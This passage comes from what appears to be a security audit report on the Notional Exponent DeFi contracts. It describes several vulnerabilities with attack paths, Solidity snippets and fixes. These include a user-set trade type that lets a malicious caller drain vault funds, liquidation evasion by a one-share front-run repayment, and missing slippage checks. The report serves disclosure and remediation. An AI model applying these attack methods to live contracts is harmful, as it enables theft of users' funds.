Attack Path

Assume the Curve V2 pool with two-token setup. The following are some of the Curve pools that fit into this example.

https://www.curve.finance/dex/ethereum/pools/teth/deposit/ (t/ETH)

- LP Token - https://etherscan.io/address/0x752ebeb79963cf0732e9c0fec72a49fd1defaeac
- Coin 0 - 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (WETH)
- Coin 1 - 0xCdF7028ceAB81fA0C6971208e83fa7872994beE5 (T)

https://www.curve.finance/dex/ethereum/pools/cvxeth/deposit/ (cvxeth)

- LP Token - https://etherscan.io/address/0xb576491f1e6e5e62f1d8f26062ee822b40b0e0d4

- Coin 0 - 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (WETH)
- Coin 1 - 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B (CVX)

Curve Pool's Coin 0 is WETH, and thus `ETH_INDEX` is set to 0 during deployment. I have checked the source code and confirmed that `ETH_INDEX` is 0. Readers can access the LP token's etherscan link above to view the source code and see that the `ETH_INDEX` is set to 0.

Note that the Yield Strategy vault's `TOKEN_1` is equal to Curve Pool's Coin 0 and is set to WETH.

Assume that the Yield Strategy (YS) vault's asset is WETH, and we will enter the pool on a single-sided basis, with all deposited assets being in WETH.

The `msgValue` at Line 237 will be zero as `TOKEN_1` is in WETH and not Native ETH (0x0). Thus, the condition `0 < msgValue` will be evaluated to `false`.

As a result, no native ETH will be forwarded to the Curve Pool. Instead, the Curve pool will pull the WETH from the YS vault later. In this case, the `use_eth` parameter will be set to `false`, which makes sense because we are entering the pool with WETH and not Native ETH.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L219

```
File: CurveConvex2Token.sol
219:     function _enterPool(
220:         uint256[] memory _amounts, uint256 minPoolClaim, uint256 msgValue
221:     ) internal returns (uint256) {
..SNIP..
235:         } else if (CURVE_INTERFACE == CurveInterface.V2) {
236:             return ICurve2TokenPoolV2(CURVE_POOL).add_liquidity{value:
↪  msgValue}(
237:                 amounts, minPoolClaim, 0 < msgValue // use_eth = true if
↪  msgValue > 0
238:             );
239:         }
```

Note that `use_eth` is `false`. The condition at Line 959 will be `true` and the Curve Pool will pull WETH from YS vault. Then, in Line 962, it will unwrap the WETH to Native ETH balance and proceed with the rest of the calculations.

```
File: v2 (0.3.1).py
920: @payable
921: @external
922: @nonreentrant('lock')
923: def add_liquidity(amounts: uint256[N_COINS], min_mint_amount: uint256,
924:                   use_eth: bool = False, receiver: address = msg.sender) ->
↪  uint256:
..SNIP..
954:     for i in range(N_COINS):
955:         if use_eth and i == ETH_INDEX:
```

```
956:             assert msg.value == amounts[i]  # dev: incorrect eth amount
957:         if amounts[i] > 0:
958:             coin: address = _coins[i]
959:             if (not use_eth) or (i != ETH_INDEX):
960:                 assert ERC20(coin).transferFrom(msg.sender, self, amounts[i])
961:                 if i == ETH_INDEX:
962:                     WETH(coin).withdraw(amounts[i])
963:             amountsp[i] = xp[i] - xp_old[i]
```

The problem here is that when exiting the pool either via `remove_liquidity_one_coin` or `remove_liquidity` function, the `useEth` parameter is hardcoded to `true`, as shown below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L244

```
File: CurveConvex2Token.sol
244:     function _exitPool(
245:         uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
246:     ) internal returns (uint256[] memory exitBalances) {
247:         if (isSingleSided) {
248:             exitBalances = new uint256[](_NUM_TOKENS);
..SNIP..
255:                 exitBalances[_PRIMARY_INDEX] =
 ↪  ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity_one_coin(
256:                     // Last two parameters are useEth = true and receiver =
 ↪  this contract
257:                     poolClaim, _PRIMARY_INDEX, _minAmounts[_PRIMARY_INDEX],
 ↪  true, address(this)
258:                 );
259:             }
..SNIP..
279:                 // Remove liquidity on CurveV2 does not return the exit
 ↪  amounts so we have to measure
280:                 // them before and after.
281:                 ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity(
282:                     // Last two parameters are useEth = true and receiver =
 ↪  this contract
283:                     poolClaim, minAmounts, true, address(this)
284:                 );
```

Since `use_eth` is true, in Line 1043 below, it will transfer Native ETH to YS when exiting the pool.

```
File: v2 (0.3.1).py
1024: @external
1025: @nonreentrant('lock')
1026: def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS],
1027:                         use_eth: bool = False, receiver: address = msg.sender):
..SNIP..
```

```
    for i in range(N_COINS):
        d_balance: uint256 = balances[i] * amount / total_supply
        assert d_balance >= min_amounts[i]
        self.balances[i] = balances[i] - d_balance
        balances[i] = d_balance  # now it's the amounts going out
        if use_eth and i == ETH_INDEX:
            raw_call(receiver, b"", value=d_balance)
```

After exiting the pool, native ETH will reside in the YS vault, and the logic at Lines 205-211 will be executed. The first condition (`ASSET == address(WETH)`) will evaluate to `true` in Line 205 below. However, the subsequent conditions `TOKEN_1 == ETH_ADDRESS` and `TOKEN_2 == ETH_ADDRESS` both evaluate to `false` as neither `TOKEN_1` nor `TOKEN_2` is equal to `ETH_ADDRESS`(0x0). Note that `TOKEN_1` is equal to WETH and not Native ETH (0x0) in this scenario.

In this case, the Native ETH residing in the YS will not be wrapped back to WETH.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L205

```
File: CurveConvex2Token.sol
198:    function unstakeAndExitPool(
199:        uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
200:    ) external returns (uint256[] memory exitBalances) {
201:        _unstakeLpTokens(poolClaim);
202:
203:        exitBalances = _exitPool(poolClaim, _minAmounts, isSingleSided);
204:
205:        if (ASSET == address(WETH)) {
206:            if (TOKEN_1 == ETH_ADDRESS) {
207:                WETH.deposit{value: exitBalances[0]}();
208:            } else if (TOKEN_2 == ETH_ADDRESS) {
209:                WETH.deposit{value: exitBalances[1]}();
210:            }
211:        }
212:    }
```

Note that if it is a single-side exit, the `_executeRedemptionTrades()` will not be executed. If it is a proportional exit, the `_executeRedemptionTrades()` function will be executed, the condition at Line 229 (`address(tokens[i]) == address(asset) -> (WETH == WETH) -> True`) will be `True` and the `finalPrimaryBalance` will be set to the exit balance, and the for-loop will continue without swapping any assets.

Either way, the Native ETH remains in the YS vault.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L229

```
File: AbstractSingleSidedLP.sol
223:    function _executeRedemptionTrades(
224:        ERC20[] memory tokens,
```

```
        uint256[] memory exitBalances,
        TradeParams[] memory redemptionTrades
    ) internal returns (uint256 finalPrimaryBalance) {
        for (uint256 i; i < exitBalances.length; i++) {
            if (address(tokens[i]) == address(asset)) {
                finalPrimaryBalance += exitBalances[i];
                continue;
            }
```

Since the rest of the protocol works only with WETH, but not Native ETH. Many of the protocol's logic will be broken.

One instance is that the `_burnShares` will check the before and after balance of WETH to compute how many WETH asset to return to the user. Since we only have Native ETH here, but not WETH, the `assetsWithdrawn` will be zero, and users will receive nothing in return during withdrawal/redemption.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/AbstractYieldStrategy.sol#L416

```
File: AbstractYieldStrategy.sol
    function _burnShares(
        uint256 sharesToBurn,
        uint256 /* sharesHeld */,
        bytes memory redeemData,
        address sharesOwner
    ) internal virtual returns (uint256 assetsWithdrawn) {
        if (sharesToBurn == 0) return 0;
        bool isEscrowed = _isWithdrawRequestPending(sharesOwner);

        uint256 initialAssetBalance = TokenUtils.tokenBalance(asset);

        // First accrue fees on the yield token
        _accrueFees();
        _redeemShares(sharesToBurn, sharesOwner, isEscrowed, redeemData);
        if (isEscrowed) s_escrowedShares -= sharesToBurn;

        uint256 finalAssetBalance = TokenUtils.tokenBalance(asset);
        assetsWithdrawn = finalAssetBalance - initialAssetBalance;
```

Impact

High. Loss of assets as shown in above scenario.

PoC

No response

Mitigation

For exiting pool code, update the code to only set `useEth` to `True` if `TOKEN_1` or `TOKEN_2` is equal to `ETH_ADDRESS`(0x0). Otherwise, `useEth` should be `False`.

In this scenario, `useEth` should be `false` when exiting the pool. If it is set to `false` in the first place, WETH will be forwarded to the YS vault, and everything will work as expected without error.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/26/files

Issue H-10: Malicious user can change the `TradeType` to steal funds from the vault or withdraw request manager

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/715

Found by

mstpr-brainbot, xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Instance 1 - Yield Strategy Vault

Assume the following:

- The asset token of a yield strategy vault is WBTC
- The yield token of the vault is the LP token of a Curve Pool (DAI/WBTC)
- 1 WBTC is worth 100,000 DAI
- WBTC's decimals is 8. DAI's decimals is 18.

When redeeming the LP token, the vault received back 10,000 DAI and 1 WBTC. The intention of the `_executeRedemptionTrades` function is to swap all non-asset token (DAI in this example) to asset token (WBTC), as per the comment at Line 235 below.

Thus, the `t.tradeType` must always be set to `TradeType.EXACT_IN_SINGLE` so that exact amount of 10,000 DAI (10000e18) will be swapped for arbitrary amount of WBTC (asset token). In this case, it should receive 0.1 WBTC after swapping in 10,000 DAI.

Note

The `t.minPurchaseAmount` should also be set to the maximum value possible, so that maximum allowance will be granted to the external DEX protocol to pull tokens from Notional. Refer to here. In EXACT_OUT trades, approval will be given based on `trade.limit` value.

Note

This attack will work for any trading adapters, as demonstrated in the scenario below. However, if one needs maximum flexibility and control in crafting the exploit, such as the ability to set `trade.amount` to an arbitrary value instead of being restricted to `exitBalances[i]` (10000e18), they can consider using the 0x's ZeroExAdaptor because it allows users to define arbitrary execution data, and there is no check against the execution data internally.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L223

```
File: AbstractSingleSidedLP.sol
222:     /// @dev Trades the amount of secondary tokens into the primary token after exiting a pool.
223:     function _executeRedemptionTrades(
224:         ERC20[] memory tokens,
225:         uint256[] memory exitBalances,
226:         TradeParams[] memory redemptionTrades
227:     ) internal returns (uint256 finalPrimaryBalance) {
228:         for (uint256 i; i < exitBalances.length; i++) {
229:             if (address(tokens[i]) == address(asset)) {
230:                 finalPrimaryBalance += exitBalances[i];
231:                 continue;
232:             }
233:
234:             TradeParams memory t = redemptionTrades[i];
235:             // Always sell the entire exit balance to the primary token
236:             if (exitBalances[i] > 0) {
237:                 Trade memory trade = Trade({
238:                     tradeType: t.tradeType,
239:                     sellToken: address(tokens[i]), // @audit DAI
240:                     buyToken: address(asset), // @audit WBTC
241:                     amount: exitBalances[i], // @audit 10,000 DAI => 10000e18
242:                     limit: t.minPurchaseAmount,
243:                     deadline: block.timestamp,
244:                     exchangeData: t.exchangeData
245:                 });
246:                 (/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);
247:
```

```
                finalPrimaryBalance += amountBought;
            }
        }
```

However, the issue here is that the `t.tradeType` can be set to any value by the caller or user. Thus, instead of setting it to `TradeType.EXACT_IN_SINGLE`, a malicious user can set it to `TradeType.EXACT_OUT_SINGLE`.

If the trade data is set to `TradeType.EXACT_OUT_SINGLE` as follows:

```
Trade memory trade = Trade({
    tradeType: TradeType.EXACT_OUT_SINGLE,
    sellToken: DAI,
    buyToken: WBTC,
    amount: 10000e18, // 10,000 DAI
    limit: t.minPurchaseAmount,
    deadline: block.timestamp,
    exchangeData: t.exchangeData
});
```

This means that the trade will swap in an arbitrary amount of DAI for the exact amount of 10000e18 WBTC (= 1.0e14 WBTC token)

It is possible that there is an excess balance of DAI residing on the Yield Strategy vault due to several reasons (e.g., reward token happens to be DAI). In this case, the DAI tokens residing on the Yield Strategy vault will be swapped to 1.0e14 WBTC tokens.

To recap, if `TradeType.EXACT_IN_SINGLE` is used, the 0.1 WBTC will be received. If `TradeType.EXACT_OUT_SINGLE` is used, 1.0e14 WBTC will be received.

Thus, by changing the `TradeType`, the user could potentially obtain much more assets than expected and steal funds from the vault.

Following is an extract from the Contest's README. The protocol is designed to be extendable and intended to work with different pools and tokens. Thus, the above example is just one possible instance, and many other combinations are possible due to the different lending platforms, pool, tokens, reward tokens being supported by the protocol.

> Q: Please discuss any design choices you made.
> Notional Exponent is designed to be extendable to new yield strategies and opportunities as well as new lending platforms.

Instance 2 - Withdraw Request Manager

The similar issue is also found in the `AbstractWithdrawRequestManager._preStakingTrade()` function, where the trade type can be arbitrarily defined by the caller in Line 277. The exploit method closely resembles the one described in the previous instance.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/withdraws/AbstractWithdrawRequestManager.sol#L268

```
File: AbstractWithdrawRequestManager.sol
    function _preStakingTrade(address depositToken, uint256 depositAmount, bytes calldata data) internal returns (uint256 amountBought, bytes memory stakeData) {
        if (depositToken == STAKING_TOKEN) {
            amountBought = depositAmount;
            stakeData = data;
        } else {
            StakingTradeParams memory params = abi.decode(data, (StakingTradeParams));
            stakeData = params.stakeData;

            (/* */, amountBought) = _executeTrade(Trade({
                tradeType: params.tradeType,
                sellToken: depositToken,
                buyToken: STAKING_TOKEN,
                amount: depositAmount,
```

Assume that

- `depositToken` is not equal to the `STAKING_TOKEN`
- Yield Strategy vault's assets token is USDC.
- `WITHDRAW_TOKEN` is USDC

After the WR is finalized, the withdraw token (USDC) will reside in WRM if someone calls `finalizeRequestManual`.

In this case, when a trade is executed, `sellToken=depositToken=USDC` and `buyToken=StakingToken`. Thus, malicious users can use the same exploit (setting trading type to EXACT_OUT) mentioned earlier to steal USDC funds on WRM to purchase more staking tokens than expected, which will, in turn, generate more yield tokens/collateral shares under their account.

Impact

High. Malicious users can exploit this to steal funds from the vault.

PoC

No response

Mitigation

The fix is straightforward. Simply hardcoded the trade type to `TradeType.EXACT_IN_SINGLE` to prevent this exploit. This will ensure that an exact amount of tokens is swapped in exchange for an arbitrary amount of desired tokens, and not the other way round.

```
/// @dev Trades the amount of secondary tokens into the primary token after exiting
 ↪  a pool.
function _executeRedemptionTrades(
    ERC20[] memory tokens,
    uint256[] memory exitBalances,
    TradeParams[] memory redemptionTrades
) internal returns (uint256 finalPrimaryBalance) {
    for (uint256 i; i < exitBalances.length; i++) {
        if (address(tokens[i]) == address(asset)) {
            finalPrimaryBalance += exitBalances[i];
            continue;
        }

        TradeParams memory t = redemptionTrades[i];
        // Always sell the entire exit balance to the primary token
        if (exitBalances[i] > 0) {
            Trade memory trade = Trade({
-               tradeType: t.tradeType,
+               tradeType: TradeType.EXACT_IN_SINGLE,
                sellToken: address(tokens[i]),
                buyToken: address(asset),
                amount: exitBalances[i],
                limit: t.minPurchaseAmount,
                deadline: block.timestamp,
                exchangeData: t.exchangeData
            });
            (/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);

            finalPrimaryBalance += amountBought;
        }
    }
}
```

```
function _preStakingTrade(address depositToken, uint256 depositAmount, bytes
 ↪  calldata data) internal returns (uint256 amountBought, bytes memory stakeData) {
    if (depositToken == STAKING_TOKEN) {
        amountBought = depositAmount;
        stakeData = data;
    } else {
        StakingTradeParams memory params = abi.decode(data, (StakingTradeParams));
        stakeData = params.stakeData;

        (/* */, amountBought) = _executeTrade(Trade({
-           tradeType: params.tradeType,
+           tradeType: TradeType.EXACT_IN_SINGLE,
            sellToken: depositToken,
            buyToken: STAKING_TOKEN,
```

```
            amount: depositAmount,
            exchangeData: params.exchangeData,
            limit: params.minPurchaseAmount,
            deadline: block.timestamp
        }), params.dexId);
    }
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/18

Issue H-11: Missing Slippage Protection in Expired PT Redemption Causes User Fund Loss

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/874

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xPhantom2, Bluedragon, Schnilch, albahaca0000, boredpukar, jasonxiale, sergei2340, touristS, xiaoming90, yoooo, zhuying

Summary:

When PT tokens are expired, the `_redeemPT` function calls `redeemExpiredPT` which performs `sy.redeem` with `minTokenOut: 0`, allowing SY contracts that perform external DEX swaps to cause slippage losses without protection in both instant redemption and withdraw initiation flows.

Vulnerability Details:

The vulnerability occurs in the `_redeemPT` function which handles both expired and non-expired PT redemption. When `PT.isExpired()` returns true, it calls `PendlePTLib.redeemExpiredPT`.

The redeemExpiredPT function performs the redemption by calling `sy.redeem` with `minTokenOut: 0`. This means there's no slippage protection when the SY contract performs external DEX swaps or trades to convert the redeemed tokens to the target `tokenOutSy`.

Code Snippet:

```
function redeemExpiredPT(
        IPPrincipalToken pt,
        IPYieldToken yt,
        IStandardizedYield sy,
        address tokenOutSy,
        uint256 netPtIn
    ) external returns (uint256 netTokenOut) {
        // PT Tokens are known to be ERC20 compliant
        pt.transfer(address(yt), netPtIn);
        uint256 netSyOut = yt.redeemPY(address(sy));
@->     netTokenOut = sy.redeem(address(this), netSyOut, tokenOutSy, 0, true); //
↪   AUDIT: no slippage protection
    }
```

This affects two critical flows:

1. **Instant Redemption**: Called via `_executeInstantRedemption`.
2. **Withdraw Initiation**: Called via `_initiateWithdraw`.

Impact

Users suffer direct fund loss when SY contracts perform unfavorable external DEX swaps during expired PT redemption, as the zero slippage protection allows maximum extractable value attacks and natural slippage losses.

The impact is amplified because users have no control over the redemption rate and cannot protect themselves against adverse market conditions or MEV attacks during the SY redemption process.

Proof of Concept (Scenario step by step):

1. PT tokens expire and user initiates exit position
2. `_redeemPT` is called and detects `PT.isExpired() == true`
3. `PendlePTLib.redeemExpiredPT` is called with the expired PT amount
4. PT tokens are transferred to YT contract and `yt.redeemPY` is called
5. `sy.redeem` is called with `minTokenOut: 0`
6. SY contract performs external DEX swap with unfavorable rates due to market conditions or MEV attacks
7. User receives significantly fewer `sUSDe` tokens than expected with no recourse
8. Loss propagates through either instant redemption or withdraw request flows

Recommended Mitigation:

Modify the `redeemExpiredPT` function to accept a `minTokenOut` parameter and pass it through to `sy.redeem`. Update both calling functions to calculate and provide appropriate slippage protection based on expected redemption rates.

```
function redeemExpiredPT(
    IPPrincipalToken pt,
    IPYieldToken yt,
    IStandardizedYield sy,
    address tokenOutSy,
    uint256 netPtIn,
    uint256 minTokenOut  // Add slippage protection parameter
) external returns (uint256 netTokenOut) {
    pt.transfer(address(yt), netPtIn);
    uint256 netSyOut = yt.redeemPY(address(sy));
```

```
    netTokenOut = sy.redeem(address(this), netSyOut, tokenOutSy, minTokenOut, true);
}
```

Discussion

T-Woodward

This is an issue that will be managed through proper parameter choices, not code.

All SY tokens give you the option to redeem to a matching token (i.e. rsETH SY -> rsETH). If redeeming to the matching token, there will not be a fee or a trade and setting minTokenOut to 0 is fine.

So we'll just make sure to always redeem to the matching token and double check the SY's redemption function.

Issue M-1: Hard-Coded Mainnet WETH Address Breaks All Non-Mainnet Deployments

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/195

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xShoonya, boredpukar, talfao, vangrim

Summary

The protocol's core contracts (strategies, routers, and withdraw-request managers) all reference a single compile-time constant:

```
WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
```

This is the Ethereum-mainnet WETH9. When the same bytecode is deployed to chains like Arbitrum, Base, or any L2/sidechain whose wrapped-ETH token lives at a different address, every call to `WETH.withdraw()` or `WETH.deposit{value:...}()` will either revert or no-op.

Vulnerability Description

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/utils/Constants.sol#L19

Throughout the codebase—e.g. in `AbstractStakingStrategy`, `CurveConvexLib`, `EtherFiWithdrawRequestManager`, and others—`WETH` is declared as a constant pointing at mainnet's `0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2` address.

> Ethereum, in the future we will consider Base or Arbitrum

On chains where that address has no code or contains an unrelated contract:

`withdraw()` reverts → funds are stranded inside withdraw-managers (EtherFi, Dinero, Origin, etc.) and strategies during exits.

`deposit{value: …}()` emits no ERC-20, so accounting under-flows on the very next balanceOf / health-factor check, blocking redemptions and liquidations protocol-wide.

Because the constant is declared at compile-time, recompiling once and re-using the same artefacts for multiple chains is enough to brick the deployment.

Impact

Medium - Protocol may not work on most of the supported blockchains.

Likelihood

Medium - The architecture explicitly targets future deployments on Arbitrum, Base, etc.

Severity

Medium

Recommendations

Make `WETH` an immutable constructor argument or pull it from `AddressRegistry`.

At deployment, assert `address(WETH).code.length > 0`.

Discussion

jeffywu

This will be fixed when we deploy to other chains.

Issue M-2: Incorrect `tokensClaimed` calculation in `EthenaCooldownHolder::_finalizeCooldown()` blocks withdrawals

Source: https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/263

Found by

0xDeoGratias, 0xc0ffEE, 0xpiken, 0xzey, Atharv, Cybrid, KungFuPanda, Ragnarok, Schnilch, X0sauce, almurhasan, boredpukar, bretzel, elolpuer, hgrano, holtzzx, kangaroo, patitonar, pseudoArtist, touristS, xiaoming90

Summary

Users are unable to withdraw tokens from the `EthenaWithdrawRequestManager` contract when initiating a withdrawal while `sUSDe.cooldownDuration()` is set to `0`, due to flawed logic in the `EthenaCooldownHolder::_finalizeCooldown()` function.

Root Cause

When a user initiates a withdrawal request via the `EthenaWithdrawRequestManager` contract, it internally calls `EthenaCooldownHolder::_startCooldown()`:

EthenaCooldownHolder::_startCooldown() function:

```
function _startCooldown(uint256 cooldownBalance) internal override {
      uint24 duration = sUSDe.cooldownDuration();
      if (duration == 0) {
          // If the cooldown duration is set to zero, can redeem immediately
=>        sUSDe.redeem(cooldownBalance, address(this), address(this));
      } else {
         ...
      }
  }
```

If `cooldownDuration` is `0`, the `sUSDe` is immediately redeemed for `USDe`, and the `USDe` tokens are transferred to the `EthenaCooldownHolder` contract. Later, when the user finalizes their withdrawal, `EthenaCooldownHolder::_finalizeCooldown()` is called:

EthenaCooldownHolder::_finalizeCooldown() function:

```
function _finalizeCooldown() internal override returns (uint256 tokensClaimed, bool
↪  finalized) {
    uint24 duration = sUSDe.cooldownDuration();
```

```
    IsUSDe.UserCooldown memory userCooldown = sUSDe.cooldowns(address(this));

    if (block.timestamp < userCooldown.cooldownEnd && 0 < duration) {
        // Cooldown has not completed, return a false for finalized
        return (0, false);
    }

    uint256 balanceBefore = USDe.balanceOf(address(this));
    if (0 < userCooldown.cooldownEnd) sUSDe.unstake(address(this));
    uint256 balanceAfter = USDe.balanceOf(address(this));

=>  tokensClaimed = balanceAfter - balanceBefore;
    USDe.transfer(manager, tokensClaimed);
    finalized = true;
}
```

Since the `USDe` has already been withdrawn to the holder contract at the time the withdrawal request is initiated, `balanceBefore` is equal to `balanceAfter`. As a result, `tokensClaimed` is incorrectly calculated as 0, preventing users from claiming any tokens from their withdrawal request.

Impact

Users are unable to claim any tokens from their withdrawal requests if they were initiated when `sUSDe.cooldownDuration()` was `0`.

Mitigation

Track the balance change when initiating a withdrawal request while `sUSDe.cooldownDuration()` is set to 0, and use this state to determine the balance change when finalizing the withdrawal request.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/19

Issue M-3: Single sided strategy cant do trades for ETH pools

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/279

Found by

elolpuer, mstpr-brainbot

Summary

When users deposit the "asset" into the single-sided Curve LP strategy, the asset is sold for the Curve pool's underlying tokens. However, there is an edge case when one of the pool's underlying tokens is **ETH**, in which case the trade execution fails because the `TRADING_MODULE` sends back **ETH** when ETH is requested, but the code expects **WETH** to be received.

Root Cause

First, when the ConvexCurve yield strategy is deployed, `TOKEN_1` and `TOKEN_2` are written to storage as follows: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L54-L55

Curve pools use the address `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` to show that one of the pool's assets is native ETH. Here, we can see that if that's the case, it's set to `ETH_ADDRESS`, which is `address(0)`. We can also confirm this from the comments above those lines.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L181-L219

Now, when the user deposits the asset token and wants to sell some of it for the other underlying Curve token, which is native ETH, then `trade.buyToken` will be `address(0)`, which translates to `ETH_ADDRESS` in the Notional codebase.

```
trade = Trade({
    tradeType: t.tradeType,
    sellToken: address(asset),
    buyToken: address(tokens[i]),
    amount: t.tradeAmount,
    limit: t.minPurchaseAmount,
    deadline: block.timestamp,
```

```
    exchangeData: t.exchangeData
});
```

After `executeTrade` is called in `TRADING_MODULE`, the strategy contract will receive native ETH not WETH! We can also confirm from the TradingModule implementation that if the `buyToken` is ETH (`address(0)`), it's ensured that even WETH receivables are withdrawn to ETH, making sure the user receives native ETH instead of WETH: https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/TradingUtils.sol#L164-L172

After these operations, the contract now has some asset balance and some native ETH balance and is ready to LP into the Curve pool with `msg.value`. The following lines are next: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L180-L196

```
uint256 msgValue;
if (TOKEN_1 == ETH_ADDRESS) {
    msgValue = _amounts[0];
} else if (TOKEN_2 == ETH_ADDRESS) {
    msgValue = _amounts[1];
}
if (msgValue > 0) WETH.withdraw(msgValue);
```

As we can see here, `msgValue` will indeed be greater than 0, and then `WETH.withdraw` will be called. However, we already have ETH balance and no WETH – so the withdraw will revert.

Internal Pre-conditions

1. Curve pool used has ETH as underlying

External Pre-conditions

None needed

Attack Path

Happens naturally

Impact

Users wont be able to deposit on both tokens if the asset is one of the curve lp. If the asset is not one of the curve lp then users will not be able to deposit at all If the reward token is WETH then everything can be messed up because of withdrawing the WETH.

So, high.

PoC

No response

Mitigation

Remove the WETH.withdraw since the ETH is received natively to yield strategy

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/26

jeffywu

Actually looking closer at this issue, it's unlikely that this scenario would ever occur in practice. This would require that we borrow some token and then trade it into ETH for a ETH/ pool. Generally speaking, there will be insufficient lending liquidity for any token paired with ETH. To enter into such a pool you would almost certainly already be borrowing ETH and you would never trade into ETH.

Issue M-4: Liquidations can be frontrunned to avoid by paying as little as 1 share.

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/300

Found by

LhoussainePh, pseudoArtist, xiaoming90

Summary

The protocol integrates with Morpho which internally handeles the debt repayment in a way that when Liquidtions will be frontrunned via repayment with just 1 share it can easily be avoided. https://github.com/morpho-org/morpho-blue/blob/731e3f7ed97cf15f8fe00b86e4be5365eb3802ac/src/interfaces/IMorpho.sol#L247

Root Cause

The internal accounting method of Morpho leads to this bug.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

During full liquidation the liquidator calls `liquidate()` which further calls `_liquidate` on MorphoLendingRouter:

```
function _liquidate(
    address liquidator,
    address vault,
    address liquidateAccount,
    uint256 sharesToLiquidate,
    uint256 debtToRepay
) internal override returns (uint256 sharesToLiquidator) {
    MarketParams memory m = marketParams(vault);
    (sharesToLiquidator, /* */) = MORPHO.liquidate(
```

```
        m, liquidateAccount, sharesToLiquidate, debtToRepay,
        ↪  abi.encode(m.loanToken, liquidator)
    );
}
```

The above function simply calls the `MORPHO.liquidate()` with full `sharesToLiquidate` and `debtToRepay`, Now if we see the implementation of Morpho.sol:

```
position[id][borrower].borrowShares -= repaidShares.toUint128();
market[id].totalBorrowShares -= repaidShares.toUint128();
```

The `debtToRepay` is `repaidShares` and when the liquidator tries to repay the full debt all of borrowedShares are reduced by `repaidShares` and the user is fully liquidated, however a user can simply call `exitPosition` to repay as little as 1 share to avoid liquidation , since when a user frontruns the liquidation call with 1 share to repay the debt , the `Morpho.Liquidate` call will panic revert with overflow when subtracting the `repaidShares` from the `borrowShares` and the liquidation will revert.

There is a warning on Morpho Interface as well for this bug and this can easily be avoided.

Impact

Panic revert with overflow will cause liquidations to fail.

PoC

No response

Mitigation

When a user calls exitPosition() it has a check `_checkExit` which should be updated to consider a logic for not letting user frequently exit Consider making a variable `lastExitTime` and update it every time user exits just like it is done in `enterPosition`

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/14/files

Issue M-5: Minting yield tokens single sided can be impossible if CURVE_V2 dexId is used on redemptions

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/320

Found by

mstpr-brainbot

Summary

In single-sided yield strategies, both underlying tokens of the pool have infinite allowance set on the pool contract. When a user chooses to withdraw, they can withdraw with both tokens and then sell the underlying tokens for the "asset".

If the user selects **CURVE_V2** and sets the swap pool to be the **same pool** that the strategy is currently LP'ing into, then the `TRADING_MODULE` will **revoke the token allowances (set to 0)** for security. This breaks the strategy, as it will no longer have the required token allowance to deposit into the yield strategy, effectively making deposits impossible.

Root Cause

Let's go through an example with explanations. Assume the yield strategy's yield token is the Convex crvUSD-USDC LP token and the asset is USDC.

First, when the strategy is deployed, both USDC and crvUSD will be infinitely approved to the pool to mint LP tokens: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L169-L178

